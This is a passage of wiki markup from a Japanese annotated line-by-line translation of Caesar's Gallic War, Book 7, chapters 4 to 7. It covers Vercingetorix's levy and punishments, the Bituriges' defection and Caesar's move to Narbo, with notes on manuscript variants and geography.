**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：二つ目の下線部は、&amp;alpha;系写本では [[wikt:en:Andi#Latin|Andos]]「アンディー族」だが、&lt;br&gt;　　　　　　　　　　　　　''[[ガリア戦記/注解編/写本と校訂版#Glareanus|Glareanus]]'' は、[[wikt:en:Andes#Latin|Andēs]]「アンデース族」と修正提案し、&lt;br&gt;　　　　　　　　　　　　　これは別名「アンデカーウィー族」''[[wikt:en:Andecavi#Latin|Andecāvī]]'' ともいう。）&lt;/span&gt;
*reliquosque omnes, qui [[wikt:en:Oceanus#Latin|Oceanum]] [[wikt:en:adtingunt|adtingunt]], [[wikt:en:adiungit|adiungit]]; 
**および&lt;ruby&gt;&lt;rb&gt;大洋&lt;span style=&quot;color:#009900;&quot;&gt;〔[[w:大西洋|大西洋]]〕&lt;/span&gt;&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オーケアヌス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に接するほかの全部族を、加盟させる。
*omnium [[wikt:en:consensus#Latin|consensu]] 
**すべての者たちの同意により、
*ad eum [[wikt:en:defertur|defertur]] [[wikt:en:imperium#Latin|imperium]]. 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;に&lt;small&gt;（諸部族の）&lt;/small&gt;軍勢指揮権が譲り渡される。
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Qua [[wikt:en:oblatus#Latin|oblata]] [[wikt:en:potestas#Latin|potestate]] 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;その権限が任されると、
*omnibus his civitatibus [[wikt:en:obses#Latin|obsides]] [[wikt:en:imperat|imperat]], 
**これらすべての部族に人質&lt;small&gt;（の供出）&lt;/small&gt;を命令して、
*[[wikt:en:certus#Latin|certum]] numerum [[wikt:en:miles#Latin|militum]] ad se celeriter [[wikt:en:adduci#Latin|adduci]] [[wikt:en:iubet#Latin|iubet]], 
**兵の一定の数が自分のもとへ速やかに動員されることを命じる。
:　
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; [[wikt:en:arma#Latin|armorum]] [[wikt:en:quantum#Latin|quantum]] [[wikt:en:quisque#Latin|quaeque]] civitas [[wikt:en:domi#Latin|domi]] [[wikt:en:quisque#Latin|quodque]] ante tempus [[wikt:en:efficiat|efficiat]], [[wikt:en:constituit#Latin|constituit]]; 
**おのおのの部族が本国で、武器のどれほどをその時期の前に生産するかを、決定した。
*in primis [[wikt:en:equitatus#Latin|equitatui]] [[wikt:en:studet|studet]]. 
**とりわけ、[[w:騎兵|騎兵隊]]を熱心に求めた。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; Summae diligentiae summam [[wikt:en:imperium#Latin|imperii]] [[wikt:en:severitas#Latin|severitatem]] addit; 
**&lt;small&gt;&lt;/small&gt;（ウェルキンゲトリークスは）最高の入念さに、命令の最高の厳格さを付け加える。
*magnitudine [[wikt:en:supplicium#Latin|supplicii]] [[wikt:en:dubitans#Latin|dubitantes]] cogit. 
**重大な刑罰をふんぎりが付かぬ者たちへ強いる。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❿--&gt;&lt;sup&gt;(10)&lt;/sup&gt; Nam maiore commisso delicto &lt;u&gt;igni&lt;/u&gt; atque omnibus tormentis necat, 
**すなわち、より重大な違反を犯したら、火とあらゆる拷問によって誅殺した。
*leviore de causa auribus desectis aut singulis effossis oculis domum remittit, 
**より軽微な場合については、両耳を切り取り、あるいは眼を一つずつ繰り抜いて、郷里へ送還する。
*ut sint reliquis documento et magnitudine poenae perterreant alios.
**ほかの者たちへの警告となり、懲罰の重大さが別の者たちを畏怖させるようにである。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===5節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/5節]]　{{進捗|00%|2025-12-14}}&lt;/span&gt;
;ビトゥリゲース族が、ガッリア同盟軍に寝返る
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His [[wikt:en:supplicium#Latin|suppliciis]] celeriter [[wikt:en:coactus#Latin|coacto]] [[wikt:en:exercitus#Noun|exercitu]], 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;これらの刑罰により速やかに軍隊を徴集して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：「軍隊」と訳される [[wikt:en:exercitus#Noun|exercitus]] には「鍛えられて規律がある」という意味合いがあり、&lt;br&gt;　　　　これまでカエサルがガッリア人の軍勢をこのように表現したことはまれであった。）&lt;/span&gt;
*[[wikt:en:Lucterius#Latin|Lucterium]] [[wikt:en:Cadurcus#Latin|Cadurcum]], [[wikt:en:summus#Latin|summae]] hominem [[wikt:en:audacia#Latin|audaciae]], 
**この上なく豪胆な人物であるカドゥルキー族のルクテリウスを
*cum parte [[wikt:en:copiarum#Noun_2|copiarum]] in [[wikt:en:Ruteni#Latin|Rutenos]] [[wikt:en:mittit|mittit]]; 
**軍勢の一部とともにルテーニー族のところに遣わす。
*ipse in [[wikt:en:Bituriges#Latin|Bituriges]] [[wikt:en:proficiscitur|proficiscitur]]. 
**&lt;small&gt;（ウェルキンゲトリークス）&lt;/small&gt;自身はビトゥリゲース族のところに出発する。
:　
;　　　ビトゥリゲース族が、ハエドゥイー族に、対ウェルキンゲトリークスのための援兵を依頼
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Eius [[wikt:en:adventus#Latin|adventu]] 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;の到来により、
*[[wikt:en:Bituriges#Latin|Bituriges]] ad [[wikt:en:Aeduos|Haeduos]], quorum erant in [[wikt:en:fides#Latin|fide]], 
**ビトゥリゲース族は、彼らが庇護下にあった[[w:ハエドゥイ族|ハエドゥイー族]]のもとへ、
*[[wikt:en:legatus#Latin|legatos]] [[wikt:en:mittunt|mittunt]] [[wikt:en:subsidium#Latin|subsidium]] [[wikt:en:rogatum#Verb|rogatum]], 
**使節たちを、&lt;small&gt;（ハエドゥイー族からの）&lt;/small&gt;援兵を依頼するために派遣する。
*[[wikt:en:quo#Adverb|quo]] [[wikt:en:facile#Latin|facilius]] hostium copias [[wikt:en:sustinere|sustinere]] [[wikt:en:possint|possint]]. 
**それにより、敵の軍勢をより容易に持ちこたえることができるようにということであった。
:　
;　　　ハエドゥイー族が、ビトゥリゲース族に対して援兵を派兵
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:Aedui#Latin|Haedui]] de [[wikt:en:consilium#Latin|consilio]] [[wikt:en:legatus#Latin|legatorum]], quos Caesar ad [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:reliquerat|reliquerat]], 
**[[w:ハエドゥイ族|ハエドゥイー族]]は、カエサルが軍隊のもとへ残していた&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちの助言により、
*copias [[wikt:en:equitatus#Noun|equitatus]] [[wikt:en:peditatus#Latin|peditatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:subsidium#Latin|subsidio]] [[wikt:en:Bituriges#Latin|Biturigibus]] [[wikt:en:mittunt|mittunt]]. 
**[[w:騎兵|騎兵隊]]と[[w:歩兵|歩兵隊]]の軍勢をビトゥリゲース族に対する援兵として派遣する。
:　
;　　　ハエドゥイー族の援兵が、ビトゥリゲース族の寝返りを怖れて、途中で逃げ帰ってしまう
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Qui cum ad flumen [[wikt:en:Liger#Latin|Ligerim]] [[wikt:en:venissent|venissent]], quod [[wikt:en:Bituriges#Latin|Bituriges]] ab [[wikt:en:Aeduis|Haeduis]] [[wikt:en:dividit#Latin|dividit]], 
**その者たち&lt;small&gt;〔援兵〕&lt;/small&gt;は、ビトゥリゲース族を[[w:ハエドゥイ族|ハエドゥイー族]]から分け隔てるリゲル川のたもとへやって来たときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：リゲル川 [[w:la:Liger|Liger]] は、現在の[[w:ロワール川|ロワール川]]。&lt;br&gt;　　　　本書に登場するビトゥリゲース・クビ族 ''[[w:en:Bituriges Cubi|Bituriges Cubi]]'' は、&lt;br&gt;　　　　　ロワール川西岸の[[w:シェール県|シェール県]]の辺りに居住していた。&lt;br&gt;　　　　対して、[[w:ハエドゥイ族|ハエドゥイー族]]は、&lt;br&gt;　　　　　ロワール川東岸の[[w:ニエーヴル県|ニエーヴル県]]の辺りに居住していた。）&lt;/span&gt;
[[画像:Map of Eduens people-fr.svg|thumb|right|250px|[[w:ハエドゥイ族|ハエドゥイー族]]を軸とするガッリアの合従連衡（&lt;small&gt;フランス語表記&lt;/small&gt;）。赤い部分がハエドゥイー族（Eduens）、桃色・茶色の部分が同盟部族、灰色の部分が敵対する[[w:アルウェルニ族|アルウェルニー族]]（Arvernes）とセクアニ族（Sequanes）の領域である。茶色のビトゥリゲース族（Bituriges）と赤いハエドゥイー族（Eduens）の境界に沿ってリゲル川（[[w:ロワール川|ロワール川]]）が流れていることが見て取れる。川の西岸はビトゥリゲース族とアルウェルニー族の勢力圏になっている。]]
*paucos dies ibi [[wikt:en:moratus#Participle|morati]] 
**わずかな日々をそこでぐずぐずして、
*neque flumen [[wikt:en:transire#Latin|transire]] [[wikt:en:ausus#Participle|ausi]] [[wikt:en:domus#Latin|domum]] [[wikt:en:revertuntur|revertuntur]] 
**川をあえて渡らずに、故国に引き返す。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:legatus#Latin|legatis]]&lt;nowiki&gt;que&lt;/nowiki&gt; nostris [[wikt:en:renuntiant|renuntiant]] 
**&lt;small&gt;（ハエドゥイー族の援兵たちが）&lt;/small&gt;我が方&lt;small&gt;〔ローマ方〕&lt;/small&gt;の&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに報告したことには、
*se [[wikt:en:Bituriges#Latin|Biturigum]] [[wikt:en:perfidia#Latin|perfidiam]] [[wikt:en:veritus#Latin|veritos]] [[wikt:en:revertisse|revertisse]], 
**自分たち&lt;small&gt;〔援兵〕&lt;/small&gt;は、ビトゥリゲース族の寝返りを恐れて引き返した。
*quibus id [[wikt:en:consilium#Latin|consilii]] fuisse [[wikt:en:cognoverint|cognoverint]], 
**彼らには、以下のような謀計があったことを探知したのだ。
*ut, si flumen [[wikt:en:transissent#Latin|transissent]], una ex parte ipsi, altera [[wikt:en:Arverni#Latin|Arverni]] se [[wikt:en:circumsisterent|circumsisterent]]. 
**もし川を渡ったら、一方から&lt;small&gt;（ビトゥリゲース族）&lt;/small&gt;自身が、他方から[[w:アルウェルニ族|アルウェルニー族]]が自分たちを包囲するというものだ、と。
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Id ea&lt;span style=&quot;background-color:#ffa;&quot;&gt;[[wikt:la:-ne|ne]]&lt;/span&gt; de causa, quam [[wikt:en:legatus#Latin|legatis]] &lt;u&gt;pronuntiarunt&lt;/u&gt;, 
**そのことは&lt;small&gt;（援兵たちが）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに報告した理由によって&lt;small&gt;（なしたのか？）&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:-ne#Latin|-ne]] ～ [[wikt:en:an#Latin|an]] …；～であるか、あるいは…であるか。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:pronuntiarunt|pronuntiarunt]]&lt;sub&gt;&amp;nbsp;(直接法･完了形)&lt;/sub&gt; は古い印刷本 ''[[ガリア戦記/注解編/写本と校訂版#クリティカル・アパラトゥスとその略号|edd.vett.]]'' の記述で、&lt;br&gt;　　　　　　　　&amp;alpha;系写本では [[wikt:en:pronuntiarint|pronuntiarint]]&lt;sub&gt;&amp;nbsp;(接続法･完了形)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　&amp;beta;系写本では [[wikt:en:pronuntiaverint|pronuntia&lt;u&gt;ve&lt;/u&gt;rint]]&lt;sub&gt;&amp;nbsp;(接続法･完了形)&lt;/sub&gt; となっている。）&lt;/span&gt;
*&lt;span style=&quot;background-color:#ffa;&quot;&gt;[[wikt:la:an|an]]&lt;/span&gt; [[wikt:en:perfidia#Latin|perfidia]] [[wikt:en:adductus#Latin|adducti]] [[wikt:en:fecerint|fecerint]], 
**あるいは&lt;small&gt;（ビドゥリゲース族の）&lt;/small&gt;寝返りに動かされて、なしたのか？
*[[wikt:en:quod#Conjunction|quod]] [[wikt:en:nihil#Latin|nihil]] nobis [[wikt:en:constat#Latin|constat]], 
**我々&lt;small&gt;〔ローマ人〕&lt;/small&gt;には何ら定かではないので、
*non [[wikt:en:videtur|videtur]] pro [[wikt:en:certus#Latin|certo]] esse &lt;u&gt;proponendum&lt;/u&gt;. 
**確言するべきであるとは思われない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：～ pro certo ponere；～を確かであると主張する）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:proponendum|&lt;u&gt;pro&lt;/u&gt;ponendum]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:ponendum|ponendum]] となっている。）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　ビトゥリゲース族が、ローマ人やハエドゥイー族から離反して、アルウェルニー族と同盟してしまう
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:Bituriges#Latin|Bituriges]] eorum [[wikt:en:discessus#Noun|discessu]] 
**ビトゥリゲース族は、彼ら&lt;small&gt;〔援兵〕&lt;/small&gt;の撤収により、
*[[wikt:en:statim#Latin|statim]] &lt;u&gt;se&lt;/u&gt; cum [[wikt:en:Arverni#Latin|Arvernis]] &lt;u&gt;coniunguntur&lt;/u&gt;.
**ただちに[[w:アルウェルニ族|アルウェルニー族]]と&lt;small&gt;（同盟を）&lt;/small&gt;結んだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:iunguntur|iunguntur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では se ～ [[wikt:en:coniungunt|coniungunt]] となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===6節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/6節]]　{{進捗|00%|2025-12-15}}&lt;/span&gt;
[[画像:Warsaw Royal Castle GM (12).JPG|thumb|right|200px|[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]の立像（[[w:ワルシャワ歴史地区|ワルシャワ王宮]]）。彼は首都の騒乱を鎮めるために単独の[[w:執政官|執政官]]として大権を与えられ、イタリアの徴兵権を得た。[[w:三頭政治|三頭政治]]後のこの混乱期に、彼はカエサルの政敵たちからこぞって支持されたが、危機に瀕していたカエサルを打倒する絶好の機会を見送った。これは重大な逸機であり、数年後にポンペイウスにとって致命的な結果をもたらすことになる。]]
;諸軍団と分断されて苦慮するカエサル
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His rebus in Italiam Caesari [[wikt:en:nuntiatus#Latin|nuntiatis]], 
**これらの事情がイタリアにいるカエサルへ知らされると、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ここでいうイタリアとは、&lt;br&gt;　　　　カエサルの属州[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]のことである。）&lt;/span&gt;
*cum iam ille [[wikt:en:urbanus#Latin|urbanas]] res [[wikt:en:virtus#Latin|virtute]] [[wikt:en:Gnaei#Latin|Gnaei]]&lt;sub&gt;&amp;nbsp;([[wikt:en:Cn.#Latin|Cn.]])&lt;/sub&gt; [[wikt:en:Pompeius#Proper_noun|Pompei]] [[wikt:en:commodior#Latin|commodiorem]] in [[wikt:en:status#Noun_11|statum]] [[wikt:en:pervenisse#Latin|pervenisse]] [[wikt:en:intellegeret|intellegeret]], 
**彼は、もはや都&lt;small&gt;〔[[w:ローマ|ローマ市]]〕&lt;/small&gt;の事態は[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]の果断さによってより相応な状態に至ったと認識したので、
*in [[wikt:en:Gallia_transalpina#Latin|Transalpinam Galliam]] [[wikt:en:profectus#Latin|profectus]] est. 
**ガッリア・トラーンサルピーナ&lt;small&gt;〔アルプスの向こう側のガッリア〕&lt;/small&gt;に出発した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#1節|1節]]②項で言及された Galliam Transalpinam は&lt;br&gt;　　　　アルプスの西側「長髪のガッリア」全般を指すと思われるが、&lt;br&gt;　　　　ここではどちらかといえば&lt;br&gt;　　　　ガッリア南部のローマ属州ガッリア・トラーンサルピーナ&lt;br&gt;　　　　すなわち後の[[w:ガリア・ナルボネンシス|ガッリア・ナルボーネーンスィス]]を指す。）&lt;/span&gt;
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:eo#Adverb|Eo]] cum [[wikt:en:venisset|venisset]], 
**&lt;small&gt;（カエサルが）&lt;/small&gt;そこに来たときに、
*magna [[wikt:en:difficultas#Latin|difficultate]] [[wikt:en:adficiebatur|adficiebatur]], qua [[wikt:en:ratio#Latin|ratione]] ad [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:pervenire#Latin|pervenire]] [[wikt:en:posset#Latin|posset]]. 
**どのような方策で軍隊のもとへ到達することができるか、という大きな困難に苦悩させられていた。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Nam, si [[wikt:en:legio#Latin|legiones]] in [[wikt:en:provincia#Latin|provinciam]] [[wikt:en:arcesseret|arcesseret]], 
**なぜなら、もし、諸[[w:ローマ軍団|軍団]]を属州&lt;small&gt;〔ガッリア・トラーンサルピーナ〕&lt;/small&gt;に呼び寄せるのならば、
*se [[wikt:en:absens#Latin|absente]] in [[wikt:en:iter#Latin|itinere]] [[wikt:en:proelium#Latin|proelio]] [[wikt:en:dimicaturus#Latin|dimicaturas]] [[wikt:en:intellegebat|intellegebat]]; 
**自分&lt;small&gt;〔カエサル〕&lt;/small&gt;が不在のままで、行軍中に戦闘を闘うことになるであろうと理解していた。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; si ipse ad exercitum [[wikt:en:contenderet|contenderet]], 
**もし&lt;small&gt;（カエサル）&lt;/small&gt;自身が&lt;small&gt;（大部隊の護衛なしで）&lt;/small&gt;軍隊のもとへ急いで行くのならば、
*&lt;u&gt;ne&lt;/u&gt; iis &lt;u&gt;quidem&lt;/u&gt; eo tempore qui quieti [[wikt:en:viderentur|viderentur]], 
**そのときには、中立を保っていると見られる者たちでさえも、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:iis#Latin|iis]] は&amp;beta;系写本の記述で、&amp;alpha;系写本では [[wikt:en:his#Latin|his]] となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:quietus#Latin|quietus, quieti]]「平和的な、中立的な」）&lt;/span&gt;
*suam [[wikt:en:salus#Latin|salutem]] [[wikt:en:recte#Latin|recte]] [[wikt:en:committi|committi]] [[wikt:en:videbat|videbat]]. 
**自分の身の安全を良く託されるとは思えなかったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：前年まで、すなわち第6巻までの戦争は主としてガッリア北部・中部などで闘われていたので、&lt;br&gt;　　　　[[ガリア戦記 第6巻#44節|第6巻44節]]で既述のように、ローマ諸軍団はガッリア北部・中部周辺に冬営させられていた。&lt;br&gt;　　　　今回は軍団が駐留していないガッリア中南部を中心に反乱が起こったので、&lt;br&gt;　　　　カエサルと諸軍団は分断された。&lt;br&gt;　　　　そのため、カエサルが大部隊の護衛なしで北上すれば、&lt;br&gt;　　　　同盟部族にさえ寝首を掻かれる怖れがあったのである。）
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===7節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/7節]]　{{進捗|00%|2025-12-19}}&lt;/span&gt;
;ルクテリウスとカエサルのナルボーをめぐる駆け引き
[[画像:Narbonne_panorama.jpg|thumb|right|300px|'''ナルボー'''（Narbo）すなわち現在の[[w:ナルボンヌ|ナルボンヌ市]]（Narbonne）の街並み。ローマ人が[[w:ドミティア街道|ドミティア街道]]の拠点として植民市'''コロニア・ナルボー・マルティウス'''（Colonia Narbo Martius）を建設し、後には[[w:ローマ内戦 (紀元前49年-紀元前45年)|ローマ内乱]]のときにもカエサル派の根拠地となった。その重要性から帝政期には州都に昇格し、[[w:属州|属州]]名も[[w:ガリア・ナルボネンシス|ガッリア・ナルボネンスィス]]に改められたほどである。]]
[[画像:Via_domitia_map600x600_(1).png|thumb|right|200px|[[w:ドミティア街道|ドミティア街道]]（Via Domitia）の経路。ローマ人によってイタリアと[[w:ヒスパニア|ヒスパーニア]]を結ぶ重要な街道として整備された。本節でカエサル側の軍勢が往復したのもこの街道である。]]
:　
;　　　カドゥルキー族のルクテリウスが、ルテーニー族を同盟に引き入れる
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:interim#Latin|Interim]] [[wikt:en:Lucterius#Latin|Lucterius]] [[wikt:en:Cadurcus#Latin|Cadurcus]] 
**その間に、カドゥルキー族のルクテリウスが
*in [[wikt:en:Ruteni#Latin|Rutenos]] [[wikt:en:missus#Participle|missus]] 
**ルテーニー族のところに遣わされて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#5節|5節]]の冒頭で述べられた。&lt;br&gt;　　　　ルテーニー族 ''[[w:en:Ruteni|Ruteni]]'' は現在の[[w:アヴェロン県|アヴェロン県]]の&lt;br&gt;　　　　[[w:ロデーズ|ロデーズ]]辺りにいたとされる。）&lt;/span&gt;
*eam [[wikt:en:civitas#Latin|civitatem]] [[wikt:en:Arverni#Latin|Arvernis]] [[wikt:en:conciliat|conciliat]]. 
**その部族に[[w:アルウェルニ族|アルウェルニー族]]との仲を取り持つ。
:　
;　　　ルクテリウスが、ローマ属州内の拠点都市ナルボーを目指す
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:progressus#Participle|Progressus]] in [[wikt:en:Nitiobriges#Latin|Nitiobriges]] et [[wikt:en:Gabali#Latin|Gabalos]] 
**&lt;small&gt;（彼は）&lt;/small&gt;ニティオブリゲース族とガバリー族のところに進んで行き、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ニティオブリゲース族&lt;br&gt;　　　　　またはニティオブロゲース族 ''[[w:en:Nitiobroges|Nitiobroges]]'' は&lt;br&gt;　　　　　現在の[[w:ロット＝エ＝ガロンヌ県|ロット＝エ＝ガロンヌ県]][[w:アジャン|アジャン]]辺り、&lt;br&gt;　　　　ガバリー族 ''[[w:en:Gabali|Gabali]]'' は現在の[[w:ロゼール県|ロゼール県]]辺りにいたらしい。）&lt;/span&gt;
*ab [[wikt:en:uterque#Latin|utrisque]] [[wikt:en:obses#Latin|obsides]] [[wikt:en:accipit|accipit]] 
**双方から人質たちを受け取って、
*et, magna [[wikt:en:coactus#Latin|coacta]] [[wikt:en:manus#Latin|manu]], 
**多くの手勢を徴集すると、
*in [[wikt:en:provincia#Latin|provinciam]] [[wikt:en:Narbo#Latin|Narbonem]] [[wikt:en:versus#Latin|versus]] [[wikt:en:eruptio#Latin|eruptionem]] facere [[wikt:en:contendit|contendit]]. 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;[[w:属州|属州]]内のナルボーに向かって出撃することを急ぐ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ナルボー [[w:la:Narbo|Narbo]] は、ローマ人が建設した地中海岸の植民市で、&lt;br&gt;　　　　ヒスパーニアとイタリアを結ぶ拠点であった。&lt;br&gt;　　　　現在の[[w:ナルボンヌ|ナルボンヌ]]。）&lt;/span&gt;
:　
;　　　カエサルもナルボーを目指す
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Qua re [[wikt:en:untiatus#Latin|nuntiata]] 
**その事を報告されると、
*Caesar omnibus [[wikt:en:consilium#Latin|consiliis]] [[wikt:en:antevertendus#Latin|antevertendum]] &lt;span style=&quot;color:#009900;font-size:8pt;&quot;&gt;(esse)&lt;/span&gt; [[wikt:en:existimavit|existimavit]], ut [[wikt:en:Narbo#Latin|Narbonem]] [[wikt:en:proficisceretur|proficisceretur]]. 
**カエサルは、ナルボーに出発することを、あらゆる計画に先立ってするべきであると考えた。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:eo#Adverb|Eo]] cum [[wikt:en:venisset|venisset]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;そこへやって来ると、
*[[wikt:en:timens#Latin|timentes]] [[wikt:en:confirmat#Latin|confirmat]], 
**&lt;ruby&gt;&lt;rb&gt;怖気&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おじけ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ている者たちを元気付けて、
*[[wikt:en:praesidium#Latin|praesidia]] 
**守備隊を
*in [[wikt:en:Ruteni#Latin|Rutenis]] [[wikt:en:provincialis#Latin|provincialibus]], [[wikt:en:Volcae#Latin|Volcis]] [[wikt:en:Arecomici#Latin|Arecomicis]], [[wikt:en:Tolosates#Latin|Tolosatibus]] 
**属州側のルテーニー族、[[w:ウォルカエ族|ウォルカエ]]・アレコミキー族、トローサーテース族&lt;small&gt;（らの領内）&lt;/small&gt;に、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上述のように、属州外の&lt;u&gt;ルテーニー族&lt;/u&gt;は[[w:アルウェルニ族|アルウェルニー族]]と結んでいる。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[w:ウォルカエ族|ウォルカエ族]]は、西側に住むテクトサゲース族 ''[[w:en:Tectosages|Tectosages]]'' と&lt;br&gt;　　　　　　　　　　　　東側に住むアレコミキー族 ''[[w:en:Arecomici|Arecomici]]'' の2支族に分かれていた。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：トローサーテース族 ''[[w:fr:Tolosates|Tolosates]]'' は、ウォルカエ・テクトサゲース族の分派とされ、&lt;br&gt;　　　　　現在の[[w:トゥールーズ|トゥールーズ]]の近くにいたと考えられている。）&lt;/span&gt;
*[[wikt:en:circum#Preposition|circum]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:Narbo#Latin|Narbonem]], quae [[wikt:en:locum#Latin|loca]] hostibus erant [[wikt:en:finitimus#Latin|finitima]], 
**および敵方に隣接した地である[[w:ナルボンヌ|ナルボー]]周辺に
*[[wikt:en:constituit#Latin|constituit]]; 
**駐留させる。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; partem [[wikt:en:copiae#Noun_2|copiarum]] ex [[wikt:en:provincia#Latin|provincia]] 
**属州&lt;small&gt;〔ガッリア・トラーンサルピーナ〕&lt;/small&gt;からの軍勢の一部、
*[[wikt:en:supplementum#Latin|supplementum]]&lt;nowiki&gt;que&lt;/nowiki&gt;, quod ex Italia [[wikt:en:adduxerat|adduxerat]], 
**およびイタリアから率いて来た補充兵を
